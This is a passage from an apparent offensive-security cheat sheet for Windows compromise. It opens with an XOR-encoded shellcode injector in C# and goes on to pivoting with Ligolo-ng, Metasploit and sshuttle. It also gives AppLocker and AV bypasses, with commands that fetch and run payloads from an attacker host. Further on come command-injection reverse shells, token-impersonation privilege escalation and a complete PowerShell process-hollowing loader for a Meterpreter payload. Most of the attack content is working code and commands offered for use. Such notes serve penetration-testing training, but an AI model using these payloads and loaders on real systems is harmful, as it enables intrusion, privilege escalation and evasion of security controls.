0x16, 0x5A, 0xFB, 0xFA, 0xFA, 0xB3, 0x73, 0x1F, 0xB3, 0x46, 0xF8, 0xFA, 0xFB, 0x41, 0x3A, 0x52, 0xC8, 0x6B, 0xBB, 0xAE, 0xB3, 0x73, 0x1E, 0xB6, 0x73, 0x0B, 0xBB, 0x40, 0xB6, 0x8D, 0xDC, 0xFD, 0x05, 0x2F, 0xB6, 0x73, 0x10, 0x92, 0xFB, 0xFB, 0xFA, 0xFA, 0xA3, 0xBB, 0x40, 0xD3, 0x7A, 0x91, 0xFA, 0x05, 0x2F, 0x90, 0xF0, 0xBB, 0xA4, 0xAA, 0xAA, 0xB7, 0xCB, 0x33, 0xB7, 0xCB, 0x3A, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x38, 0xB2, 0x05, 0x3A, 0xB2, 0x73, 0x3B, 0xBB, 0x40, 0x10, 0xF5, 0x25, 0x1A, 0x05, 0x2F, 0xB2, 0x73, 0x3D, 0x90, 0xEA, 0xBB, 0xA2, 0xB6, 0x73, 0x18, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0x63, 0x5F, 0x8E, 0x9B, 0x05, 0x2F, 0x7F, 0x3A, 0x8E, 0xF0, 0xB3, 0x05, 0x34, 0x8F, 0x1F, 0x12, 0x69, 0xFA, 0xFA, 0xFA, 0xB2, 0x79, 0x16, 0xEA, 0xB2, 0x73, 0x18, 0xB7, 0xCB, 0x33, 0x90, 0xFE, 0xBB, 0xA2, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x84, 0xAF, 0xB2, 0x79, 0x3E, 0xDA, 0xA4, 0x73, 0x0C, 0x90, 0xBA, 0xBB, 0xA3, 0x92, 0xFA, 0xEA, 0xFA, 0xFA, 0xBB, 0xA2, 0xB2, 0x73, 0x08, 0xB2, 0xCB, 0x33, 0xBB, 0x40, 0xA2, 0x5E, 0xA9, 0x1F, 0x05, 0x2F, 0xB2, 0x73, 0x39, 0xB3, 0x73, 0x3D, 0xB7, 0xCB, 0x33, 0xB3, 0x73, 0x0A, 0xB2, 0x73, 0x20, 0xB2, 0x73, 0x03, 0xBB, 0x40, 0xF8, 0x23, 0x32, 0xA5, 0x05, 0x2F, 0x79, 0x02, 0xFA, 0x87, 0xD2, 0xA2, 0xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
IntPtr baseAddress = new IntPtr();
IntPtr regionSize = (IntPtr)buf.Length;
IntPtr NtAllocResult = NtAllocateVirtualMemory(hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Decode the payload
for (int j = 0; j < buf.Length; j++)
{
buf[j] = (byte)((uint)buf[j] ^ 0xfa);
}
int NtWriteProcess = NtWriteVirtualMemory(hProcess, baseAddress, buf, (uint)buf.Length, out uint wr);
List<int> threadList = new List<int>();
ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
foreach (ProcessThread thread in threadsBefore)
{
threadList.Add(thread.Id);
}
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, htargetProcess, (IntPtr)baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
}
}
}
Tunneling
Ligolo-ng
Normal Instructions
Simple Tunneling
Keep in mind that we should have already downloaded the proxy to our attacker machine, and have transfer the agent to the victim.
-
Find the network mask, for example, if your IP address is
X.X.X.Xand the subnet mask isY.Y.Y.Y, the network will beX.X.X.X/followed by the subnet prefix. For instance, with a subnet mask of255.255.255.0, the network prefix would be/24. -
Create the interface for
ligoloin my Kali
sudo ip tuntap add user [kali_user] mode tun ligolo
sudo ip link set ligolo up
- Enable the proxy server on the attacker machine
# The option -selfcert is for not using a certificate (this will make our communications in clear text), we do not need to encrypt them for the exam.
./ligolo_proxy_linux -selfcert
or
./ligolo_proxy_linux -selfcert -port <DIFFERENT_PROXY_PORT>
- Download (bring) the agent program to the victim (in this example Windows)
iwr -uri http://[attacker_ip]/ligolo_agent_windows.exe -UseBasicParsing -Outfile ligolo_agent_windows.exe
- Start the client
# The port is the default one, we could also change it if needed.
./ligolo_agent_windows.exe -connect [attacker_ip]:11601 -ignore-cert
or
./ligolo_agent_windows.exe -connect [attacker_ip]:<DIFFERENT_PROXY_PORT> -ignore-cert
- Add the route in the Kali
# Run this command in other terminal that from the one where ligolo proxy is running
sudo ip route add [internal_submask]/24 dev ligolo
# Verify routing table
ip route list
- Finish setting up the tunneling session
# Run this commands in the ligolo proxy terminal
» session
» start
# After this the tunneling should be ready, you could perform any command.
Reverse Shells From Internal Networks
- Setup the Netcat listener in our Kali
nc -nvlp [kali_port]
- Setup a listener for the reverse shell in the Ligolo session
listener_add --addr 0.0.0.0:[agent_port] --to 127.0.0.1:[kali_port] --tcp
- Run a reverse shell command or a payload created with
msfvenom
[command_to_run_reverse_shell] -L [kali_ip]:[kali_port]
or
./payload.exe
Double Tunneling
In certain cases, the recently compromised host will have two interfaces, enabling you to explore the network further and find more hosts. In this scenario, you'll need to execute a double pivot.
- Add a second interface
sudo ip tuntap add user [kali_user] mode tun ligolo_double
sudo ip link set ligolo_double up
- Create a listener
# The next step is to add a listener on port 11601 to our existing Ligolo-ng session and redirect it to our machine.
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# Verify it's been added
listener_list
- Connect to the proxy server
# Next, we need to execute the agent on the Windows host to connect to the forwarded port on our attacker machine
./agent.exe -connect <IP of First Pivot Point>:11601 -ignore-cert
-
Verify the connection on Kali by checking if the Windows agent has connected via the forwarded port.
Ligolo Agent Joined -
Start a tunnel and add a route
# Our last step is to change our session to the second pivot point (Windows), start the tunnel, and then add a route to the newly discovered network at 10.1.30.0/24.
sudo ip add route <New_Network> dev ligolo_double
We'll be able to interact with the new network from our Kali machine and run all the same tools as we did with the single pivot.
You could continue with a triple pivot using Ligolo-ng, following the same steps as we did with the double pivot.
Local Port Forwarding
Local port forwarding is useful when you encounter an internal server on the victim machine that only accepts
connections from the local machine. By using a special hardcoded IP address, Ligolo-ng
facilitates this process; to set up local port forwarding, follow these steps:
-
Ensure Tunneling is Configured: make sure you have already established the tunneling with
Ligolo-ngand that your network interface is set up correctly asligolo. -
Add the Special IP Address: use the following command to add a special IP address that
Ligolo-ngrecognizes as the local endpoint for port forwarding.
# Add a special hardcoded IP for local port forwarding.
sudo ip route add 240.0.0.1/32 dev ligolo
Explanation
240.0.0.1/32: this is a special hardcoded IP address thatLigolo-ngunderstands; by adding this route, you inform the system to route traffic intended for this IP through theligolointerface to the victim machine where the client is running.dev ligolo: this specifies the device (or network interface) through which the routing will occur, ensuring that all traffic directed to240.0.0.1is channeled through the established tunnel.
Examples: just with that command we can now connect to the internal services of the victim machine, either by using commands or other types of services like HTTP.
┌──(poiint㉿Kali)-[~]
└─$ nmap 240.0.0.1 -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
631/tcp open ipp CUPS 2.2
3306/tcp open mysql MySQL 5.7.29-0ubuntu0.18.04.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
File Transfers From Internal Networks
- Setup a listener in the Ligolo session
listener_add --addr 0.0.0.0:[agent_port] --to 127.0.0.1:[kali_port] --tcp
- Host the file in our Kali
python3 -m http.server [kali_port]
- Download the file on the compromised Windows host
Invoke-WebRequest -Uri "http://[agent_ip]:[agent_port]/[file_name]" -OutFile [file_name]
AV Bypassing
Agent AppLocker Bypass
Steps
-
Modify the file
/ligolo-ng/cmd/agent/main.go, like below so that it points to your IP.
Ligolo Code Modification -
Compile the code
# From Kali
GOOS=windows go build -o agent.exe cmd/agent/main.go
-
Here you have two options, use the already compile file
ApplockerBypassExternalBinary.exefrom the GitHub or build you own using the solution provided in the folderApplockerBypassExternalBinary, if you are building your own executable do the following:- Add required reference: Add the System.Configuration.Install reference to the project.
- Compile the project: Ensure the project is compiled as Release and x64 for compatibility.
-
Encode the executable with
certutil
# From Windows
certutil -encode .\ApplockerBypassExternalBinary.exe AppLockerBypassLigolo.txt
-
Rename
agent.exetoligolo-agent.exe -
Download and execute from victim
# Option 1 - curl
cmd.exe /c "curl http://[ATTACKER_IP]/ligolo-agent.exe -o C:\users\public\try-agent.exe && curl http://[ATTACKER_IP]/AppLockerBypassLigolo.txt -o C:\users\public\enc.txt && certutil -decode C:\users\public\enc.txt C:\users\public\ligolo.exe && del C:\users\public\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=true /U C:\users\public\ligolo.exe"
# Option 2 - bitsadmin
cmd.exe /c "bitsadmin /Transfer myJob http://[ATTACKER_IP]/ligolo-agent.exe C:\users\public\try-agent.exe && cmd /c bitsadmin /Transfer myJob http://[ATTACKER_IP]/pyhttp/AppLockerBypassLigolo.txt C:\users\public\enc.txt && certutil -decode C:\users\public\enc.txt C:\users\public\ligolo.exe && del C:\users\public\enc.txt && C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=true /U C:\users\public\ligolo.exe"
Agent CLM Bypass
Steps
-
Update
ligolo.ps1on line 14 and put our IP Address. -
Update
ligolo-clmbypass.xmlon line 36 and put our IP Address. -
Download
ligolo-clmbypass.xmland execute it from the victim
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe ligolo-clmbypass.xml
- (Optional) If this script
ligolo.ps1is caught by the AV, use theligolo-psrunner.ps1as alternative as it uses NT APIs only with sleeps between sensitive operations.
Agent Shellcode Runner
Requirements
- Agent for victim:
agent.exe - File
ligolo.ps1 - Running in a x64bit process, check with:
- Powershell:
[Environment]::Is64BitProcess - CMD:
set p(Should showPROCESSOR_ARCHITECTURE=AMD64)
- Powershell:
Steps
- Convert
agent.exeto shellcode
# From Kali
donut -f 1 -o agent.bin -a 2 -p "-connect [ATTACKER_IP]:11601 -ignore-cert" -i agent.exe
-
Update
ligolo.ps1on line 14 and put our IP Address. -
(Optional) If this script
ligolo.ps1is caught by the AV, use theligolo-psrunner.ps1as alternative as it uses NT APIs only with sleeps between sensitive operations. -
Download and execute Ligolo from the victim
# Direct memory loading
iex(iwr http://[ATTACKER_IP]/ligolo.ps1 -UseBasicParsing)
Metasploit
Autoroute
Steps
- Find details of the internal network
ipconfig /all
ifconfig
# We need to retrieve: NETMASK (usually 255.255.255.0) and the INTERNAL NETWORK (for example 172.16.240.0/24)
- Select the module
msf exploit(multi/handler) > use post/multi/manage/autoroute
- Configure the options
set SESSION [ID]
set SUBNET [INTERNAL.NETWORK.ADDRESS.0]
set NETMASK /24
- Run the module
msf post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows
[*] Running module against WIN11-TEST
[*] Searching for subnets to autoroute.
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table.
[*] Post module execution completed
Check and delete routes
# Verify successfull execution, it should appear with the command below
route
# Delete stablished routes
route flush
Socks
Steps
-
Configure the autoroute from the previous step.
-
Select the module
msf exploit(multi/handler) > use auxiliary/server/socks_proxy
- Configure the options
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 4a
- Run the module
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxy
- Configure Proxychains4
sudo nano /etc/proxychains4.conf
# Add this line at the end of the file
socks4 127.0.0.1 1080
- Use the tools you want, below is just an example
proxychains4 -q netexec mssql targets.txt -u '[username]' -p '[password]'
SSHUTTLE
Basic Connection
sshuttle -r [USER]@[SSH_SERVER] --ssh-cmd "ssh -i [ID_RSA-PRIVATE_KEY]" [INTERNAL_IP]/[MASK] (usually like 172.16.XX.0/24)
Setup a Tunnel to Reach Internal Services without using proxychains, useful for when we
need to access an internal web service
proxychains sshuttle -v -e "ssh -i id_rsa" -r [USER]@[SSH_SERVER] [MASK] (usually like 172.16.XX.0/24)
# Example
proxychains sshuttle -v -e "ssh -i id_rsa" -r root@172.16.X.197 172.16.X.0/24
# With that we now could reach things like: http://172.16.86.194:8081/, if this is a command injeection we could do, for example the following and get a reverse shell
127.0.0.1 && whoami
127.0.0.1 && curl http://192.168.X.Y/nc64.exe -O c:\windows\tasks\nc64.exe
127.0.0.1 && c:\windows\tasks\nc64.exe 192.168.X.Y 80 -e cmd.exe
# And then further commands to spawn new shell and even more stable ones.
Privilege Escalation
Enumeration
| Category | Command | Description |
|---|---|---|
| Username and Hostname | whoami |
Displays the current user and hostname. |
| Existing Users | Get-LocalUser |
Lists all local users. |
| Existing Groups | Get-LocalGroup |
Lists all local groups. |
net localgroup |
Alternative method to list groups. | |
Get-LocalGroupMember -GroupName [GroupName] |
Lists members of a specific group. | |
| Operating System, Version, and Architecture | systeminfo |
Displays detailed OS information. |
| Network Information | ipconfig /all |
Displays detailed network configuration. |
route print |
Shows routing table. | |
netstat -ano |
Displays network connections and listening ports. | |
| Installed Applications | 32-bit Applications:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"
|
Lists installed 32-bit applications. |
Optional: Select-Object -Property DisplayName |
Filters to show only application names. | |
64-bit Applications:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" |
Lists installed 64-bit applications. | |
Optional: Select-Object -Property DisplayName |
Filters to show only application names. | |
| Running Processes | Get-Process |
Lists all running processes. |
Optional: Select-Object -Property ProcessName, Path |
Displays process names and paths. | |
| Service Accounts | Get-WmiObject -Class Win32_Service | Select-Object Name, StartName |
Lists services and their associated accounts. |
| Scheduled Tasks | Get-ScheduledTask | Select-Object TaskName, TaskPath, State |
Displays scheduled tasks and their status. |
| Local Administrator Group Members | Get-LocalGroupMember -GroupName "Administrators" |
Lists members of the local Administrators group. |
| System Drives and Mounted Volumes | Get-PSDrive -PSProvider FileSystem |
Shows all drives and mounted volumes, including network shares. |
| PowerShell Version | $PSVersionTable.PSVersion |
Displays the version of PowerShell in use, which can be relevant for identifying potential exploitability or compatibility issues. |
Finding Files in Directories
Good folders to check for things are the web root folders, either Windows or Linux, for example in Windows
(C:\inetpub\wwwroot) some config files could have hardcoded strings in: /Temp, /Tasks, or
/Config folders
Enumerating Everything the Users Folder Has
Get-ChildItem -Path C:\Users\ -Include *.* -File -Recurse -ErrorAction SilentlyContinue
Searching for Password Manager Databases
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Searching for Sensitive Information in the XAMPP Directory
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Finding Unusual Files and Directories
Get-ChildItem -Path C:\Users -Include *.bak,*.old,*.tmp -File -Recurse -ErrorAction SilentlyContinue
Finding files with SYSTEM or Administrators group permissions
Get-ChildItem -Path [Path] -File -Recurse | Where-Object {
(Get-Acl $_.FullName).Access | Where-Object { $_.IdentityReference -like "*SYSTEM*" -or $_.IdentityReference -like "*Administrators*" }
}
Finding Large Files
Get-ChildItem -Path [Path] -File -Recurse | Where-Object { $_.Length -gt [SizeInBytes] } | Select-Object FullName, Length
Finding Executable Files
Get-ChildItem -Path C:\Users -Include *.exe,*.bat,*.ps1 -File -Recurse -ErrorAction SilentlyContinue
Finding Directories Writable by All Users
Get-ChildItem -Path [Path] -Directory -Recurse | Where-Object {
(Get-Acl $_.FullName).Access | Where-Object { $_.FileSystemRights -like "*Write*" -and $_.IdentityReference -like "*Users*" }
}
Using Runas to Execute CMD as a Different User
# Replace [Domain\Username] with the target username (e.g., backupadmin). You will be prompted to enter the password for the specified user.
runas /user:[Domain\Username] cmd
PowerShell Goldmine (logs)
Command History
Get-History
Finding PSReadline History File Path
(Get-PSReadlineOption).HistorySavePath
Finding and Viewing the Goldmine for All User (Script)
$userProfiles = Get-ChildItem -Path C:\Users -Directory
foreach ($profile in $userProfiles) {
$historyPath = Join-Path -Path $profile.FullName -ChildPath "AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Output "User: $($profile.Name)"
Write-Output "PSReadline History Path: $historyPath"
Write-Output "--------------------------------"
Get-Content -Path $historyPath
Write-Output ""
}
}
Access Tokens - SeImpersonate
Impersonation with PrintSpoofer
Tokens that allow Elevation of Privileges
- SeImpersonatePrivilege
- SeAssignPrimaryPrivilege
- SeTcbPrivilege
- SeBackupPrivilege
- SeRestorePrivilege
- SeCreateTokenPrivilege
- SeLoadDriverPrivilege
- SeTakeOwnershipPrivilege
- SeDebugPrivilege
Requirements This one work if :
- We have an User with
SeImpersonateAssignedboth assigned and enabled. - We are in Windows 10 and Server 2016/2019.
- For older versions use other potatoes: GitHub Reference
Steps
-
(Optional) Some steps to bypass UAC Controls like FodHelper could be needed.
-
Check permissions, see that
SeImpersonateAssignedis both assigned and enabled
whoami /priv
- Run the tool, GitHub Repo
PrintSpoofer.exe -i -c [COMMAND_TO_RUN]
# If you have a Meterpreter shell use either of these alternative modules
getsystem -t 5
getsystem -t 6
Impersonation with Incognito Meterpreter
Steps
-
Get a Meterpreter reverse shell
-
Load the module incognito
meterpreter > load incognito
- Find the user you want to impersonate
meterpreter > list_tokens -u
- Impersonate the user
meterpreter > impersonate_token [USER]
- Verify impersonation
meterpreter > getuid
Impersonation with PrintSpooler
SpoolSample and SharpPrintSpoofer - Custom Command
Steps
- Find if the target is vulnerable
# Check if we have SeImpersonate
whoami /priv
# Check the directory spools to see if we can trigger it
ls [LOCAL_SERVER]\pipe\spoolss
ls [TARGET_SERVER].com\pipe\spoolss
- Put
SharpPrintSpoofer.exeto listen, in this case it will be a command to add a new user but we could change this
.\SharpPrintSpoofer.exe \\.\pipe\test\pipe\spoolss "net user amit Password123! /add"
.\SharpPrintSpoofer.exe \\.\pipe\test\pipe\spoolss "net localgroup administrators amit /add"
- Once it is listening, trigger the pipe using
SpoolSample.exein other shell
.\SpoolSample.exe [HOSTNAME] [HOSTNAME]/pipe/test
SpoolSample Modified - PS Rev Shell Loader
SpoolSampleModified including already the functionality of SharpPrintSpoofer.exe, thus this one binary
can handle the privilege escalation.
Steps
- Craft your payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=443 -f csharp EXITFUNC=thread
-
XOR Encrypt your shellcode with key
0xfa -
Insert your encrypted shellcode below, and save the file as
hollow.ps1
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp EXITFUNC=thread
# Shellcode should be XOR'd with key: 0xfa
[Byte[]] $SHELLCODE = 0x06,0xB2...
$key = 0xfa
# Decoding routine
for ($i = 0; $i -lt $SHELLCODE.Length; $i++) {
$SHELLCODE[$i] = $SHELLCODE[$i] -bxor $key
}
filter Get-Type ([string]$dllName,[string]$typeName)
{
if( $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals($dllName) )
{
$_.GetType($typeName)
}
}
function Get-Function
{
Param(
[string] $module,
[string] $function
)
if( ($null -eq $GetModuleHandle) -or ($null -eq $GetProcAddress) )
{
throw "Error: GetModuleHandle and GetProcAddress must be initialized first!"
}
$moduleHandle = $GetModuleHandle.Invoke($null, @($module))
$GetProcAddress.Invoke($null, @($moduleHandle, $function))
}
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr,
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes,
[Parameter(Position = 2)] [Type] $retType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Obtain the required types via reflection
$assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
$unsafeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.UnsafeNativeMethods'
$nativeMethodsType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods'
$startupInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.NativeMethods+STARTUPINFO'
$processInformationType = $assemblies | Get-Type 'System.dll' 'Microsoft.Win32.SafeNativeMethods+PROCESS_INFORMATION'
# Obtain the required functions via reflection: GetModuleHandle, GetProcAddress and CreateProcess
$GetModuleHandle = $unsafeMethodsType.GetMethod('GetModuleHandle')
$GetProcAddress = $unsafeMethodsType.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);
$CreateProcess = $nativeMethodsType.GetMethod("CreateProcess")
# Obtain the function addresses of the required hollowing functions
$ResumeThreadAddr = Get-Function "kernel32.dll" "ResumeThread"
$ReadProcessMemoryAddr = Get-Function "kernel32.dll" "ReadProcessMemory"
$WriteProcessMemoryAddr = Get-Function "kernel32.dll" "WriteProcessMemory"
$ZwQueryInformationProcessAddr = Get-Function "ntdll.dll" "ZwQueryInformationProcess"
# Create the delegate types to call the previously obtain function addresses
$ResumeThread = Get-Delegate $ResumeThreadAddr @([IntPtr])
$WriteProcessMemory = Get-Delegate $WriteProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int32], [IntPtr])
$ReadProcessMemory = Get-Delegate $ReadProcessMemoryAddr @([IntPtr], [IntPtr], [Byte[]], [Int], [IntPtr]) ([Bool])
$ZwQueryInformationProcess = Get-Delegate $ZwQueryInformationProcessAddr @([IntPtr], [Int], [Byte[]], [UInt32], [UInt32]) ([Int])
# Instantiate the required structures for CreateProcess and use them to launch svchost.exe
$startupInformation = $startupInformationType.GetConstructors().Invoke($null)
$processInformation = $processInformationType.GetConstructors().Invoke($null)
$cmd = [System.Text.StringBuilder]::new("C:\\Windows\\System32\\svchost.exe")
$CreateProcess.Invoke($null, @($null, $cmd, $null, $null, $false, 0x4, [IntPtr]::Zero, $null, $startupInformation, $processInformation))
# Obtain the required handles from the PROCESS_INFORMATION structure
$hThread = $processInformation.hThread
$hProcess = $processInformation.hProcess
# Create a buffer to hold the PROCESS_BASIC_INFORMATION structure and call ZwQueryInformationProcess
$processBasicInformation = [System.Byte[]]::CreateInstance([System.Byte], 48)
$ZwQueryInformationProcess.Invoke($hProcess, 0, $processBasicInformation, $processBasicInformation.Length, 0)
# Locate the image base address. The address of the PEB is the second element within the PROCESS_BASIC_INFORMATION
# structure (e.g. offset 0x08 within the $processBasicInformation buffer on x64). Within the PEB, the base image
# addr is located at offset 0x10.
$imageBaseAddrPEB = ([IntPtr]::new([BitConverter]::ToUInt64($processBasicInformation, 0x08) + 0x10))
# Use ReadProcessMemory to read the required part of the PEB. We allocate already a buffer for 0x200
# bytes that we will use later on. From the PEB we actually only need 0x08 bytes, as $imageBaseAddrPEB
# already points to the correct memory location. We parse the obtained 0x08 bytes as Int64 and IntPtr.
$memoryBuffer = [System.Byte[]]::CreateInstance([System.Byte], 0x200)
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPEB, $memoryBuffer, 0x08, 0)
$imageBaseAddr = [BitConverter]::ToInt64($memoryBuffer, 0)
$imageBaseAddrPointer = [IntPtr]::new($imageBaseAddr)
# Now that we have the base address, we can read the first 0x200 bytes to obtain the PE file format header.
# The offset of the PE header is at 0x3c within the PE file format header. Within the PE header, the relative
# entry point address can be found at an offset of 0x28. We combine this with the $imageBaseAddr and have finally
# found the non relative entry point address.
$ReadProcessMemory.Invoke($hProcess, $imageBaseAddrPointer, $memoryBuffer, $memoryBuffer.Length, 0)
$peOffset = [BitConverter]::ToUInt32($memoryBuffer, 0x3c) # PE header offset
$entryPointAddrRelative = [BitConverter]::ToUInt32($memoryBuffer, $peOffset + 0x28) # Relative entrypoint
$entryPointAddr = [IntPtr]::new($imageBaseAddr + $entryPointAddrRelative) # Absolute entrypoint
# Overwrite the entrypoint with shellcode and resume the thread.
$WriteProcessMemory.Invoke($hProcess, $entryPointAddr, $SHELLCODE, $SHELLCODE.Length, [IntPtr]::Zero)
$ResumeThread.Invoke($hThread)
# Close powershell to remove it as the parent of svchost.exe
exit
- Start your HTTP Server
python3 -m http.server 80
- Start your listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost [ATTACKER_IP]; set lport 443; exploit"
- Transfer it to the victim and run it
SpoolSampleModified.exe [HOSTNAME] [HOSTNAME]/pipe/test "C:\Windows\System32\cmd.exe /c powershell iex(iwr http://[ATTACKER_IP]/hollow.ps1 -useb)"
SigmaPotato .NET Reflection Memory Loading
Steps
- Start your HTTP Server
python3 -m http.server 80
- Start your listener
nc -nvlp [PORT]
- Load it and run it
$WebClient = New-Object System.Net.WebClient
$DownloadData = $WebClient.DownloadData("http(s)://[ATTACKER_IP]/SigmaPotato.exe")
[System.Reflection.Assembly]::Load($DownloadData)
# Execute Command
[SigmaPotato]::Main("[COMMAND]")
# Establish a PowerShell Reverse Shell (one-liner)
[SigmaPotato]::Main(@("--revshell","[ATTACKER_IP","[PORT]"))
FullPowers
Sometimes we get access to a machine with what seems to be a privilege service account but this account has almost
non or very little permissions enabled, in this case we can use this tool, FullPowers.exe,
to automatically recover the default privilege set of a service account, including the permissions
SeAssignPrimaryToken and SeImpersonate which are very popular to escalate privileges.
- Start the Python Server:
python3 -m http.server 80
- Bring the Executable to the victim:
# CMD
cerutil.exe -urlcache -split -f http://[kali_ip]/FullPowers.exe
# PowerShell
iwr -uri http://[kali_ip]/FullPowers.exe -O FullPowers.exe
- Run the Executable:
# Basic Usage
./FullPowers.exe
# Trying to get an extended set of privileges (might fail with NETWORK SERVICE)
./FullPowers.exe -x
# Specify a command line to run
./FullPowers.exe -c "powershell -ep Bypass"
# Start a reverse shell to the attacker machine (requires that you previously bring Netcat to the victim)
./FullPowers.exe -c "C:\Temp\nc64.exe [kali_ip] [port] -e cmd" -z
- Verify that you have now an elevated set of privileges:
whoami /priv
- Execute your Malicious Actions: if you have now, for example, the permission
SeImpersonateyou could usePrintSpoofer.exeorGodPotato.exeto elevate your privileges.
AlwaysInstallElevated
Check if Vulnerable
If both the HKLM (HKEY_LOCAL_MACHINE) and HKCU
(HKEY_CURRENT_USER) hives have the AlwaysInstallElevated key set to 1, an
attacker can create and execute a malicious MSI package with system-level privileges, bypassing normal user
restrictions.
How to Check for the Vulnerability
# Check in HKEY_LOCAL_MACHINE for system-wide policy
reg query HKLM\software\policies\microsoft\windows\installer /v alwaysinstallelevated
or
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
# Check in HKEY_CURRENT_USER for user-specific policy
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
or
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
Interpreting the Results
- If both registry keys return a value of
1, it means AlwaysInstallElevated is enabled, and the system is vulnerable to this escalation technique. - If one or both keys return an error or a value other than
1, the vulnerability is not present.
Exploit - NewLocalAdmin
Steps
-
Upload the
newlocaladmin.msito the victim. -
Execute it
msiexec /quiet /qn /i newlocaladmin.msi
- Upload the script
Invoke-RunasCs.ps1to the victim
# Directly load it in memory
IEX (New-Object Net.WebClient).DownloadString('http://[ATTACKER_IP]/Invoke-RunasCs.ps1')
# Normal download, be careful for AV Detection, consider placing it in the /Temp or /Tasks folders
iwr -uri http://[ATTACKER_IP]/Invoke-RunasCs.ps1 -Outfile Invoke-RunasCs.ps1
Import-Module ./Invoke-RunasCs.ps1
- Get Code Execution with the newly created user
Invoke-RunasCs amit 'Password123!' 'whoami /priv' -ForceProfile -CreateProcessFunction 2 -BypassUac
Exploit - Reverse Shell
Steps
If both keys are set to 1, you can create a malicious MSI package to escalate privileges:
- Generate a malicious MSI: this payload could open a reverse shell, create a new administrative user, or perform another privileged action.
windows/x64/meterpreter/reverse_https
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[LHOST] LPORT=[PORT] -f msi -o malicious.msi
- Setup a Listener
sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost [ATTACKER_IP]; set lport [PORT]; exploit"
